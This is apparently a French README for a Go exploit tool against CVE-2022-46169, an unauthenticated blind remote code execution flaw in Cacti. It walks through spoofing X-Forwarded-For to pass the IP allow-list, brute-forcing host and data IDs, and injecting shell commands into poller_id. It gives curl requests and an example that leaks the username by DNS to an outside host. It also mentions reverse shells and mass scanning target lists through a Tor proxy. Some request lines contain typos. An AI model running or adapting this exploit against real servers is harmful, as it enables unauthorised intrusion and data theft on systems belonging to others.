
CVE-2022-46169 - Exécution de code à distance aveugle sur Cacti (pré-authentification)
Exécution de code à distance aveugle sur Cacti (pré-authentification)
Ceci n'est qu'à des fins éducatives. Je ne suis pas responsable de vos actions. Utilisez à vos propres risques.
Ce script force brutalement les variables nécessaires pour exploiter cette vulnérabilité. Cet exploit nécessite les 3 variables suivantes :
host_id correctlocal_data_ids correctLe fichier remote_agent.php est protégé par une liste blanche d'adresses IP. Vous pouvez contourner cette protection en usurpant votre adresse IP dans l'en-tête X-Forwarded-IP. La plupart des instances ont 127.0.0.1 ou l'adresse IP du serveur lui-même dans leur liste blanche.
Ensuite, vous devez forcer brutalement les paramètres de requête host_id et . Cela se fait en énumérant des paires d'entiers avec une valeur minimale par défaut de 1 et une valeur maximale de 10.
local_data_idsx,yExemple de requête
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
Une fois ces 3 variables obtenues, vous pouvez injecter une commande shell dans la clé poller_id et l'échapper en plaçant un ; avant votre commande.
C'est une RCE aveugle, vous devez donc envoyer la sortie de votre commande quelque part comme interact.sh ou ouvrir un reverse shell. N'oubliez pas d'encoder en URL votre valeur poller_id !
Ce qui suit exécute la commande ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
Le script produit une sortie au format CSV. Les en-têtes sont "target", "ip", "host_id", "data_id", "url".
Si la valeur url est absente, cela signifie que le script a pu contourner la restriction IP mais n'a pas réussi à forcer les ID. Vous pouvez reprendre cette sortie et définir une valeur maximale plus élevée pour réessayer.
Vous pouvez utiliser les commandes suivantes pour analyser rapidement le fichier de sortie
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv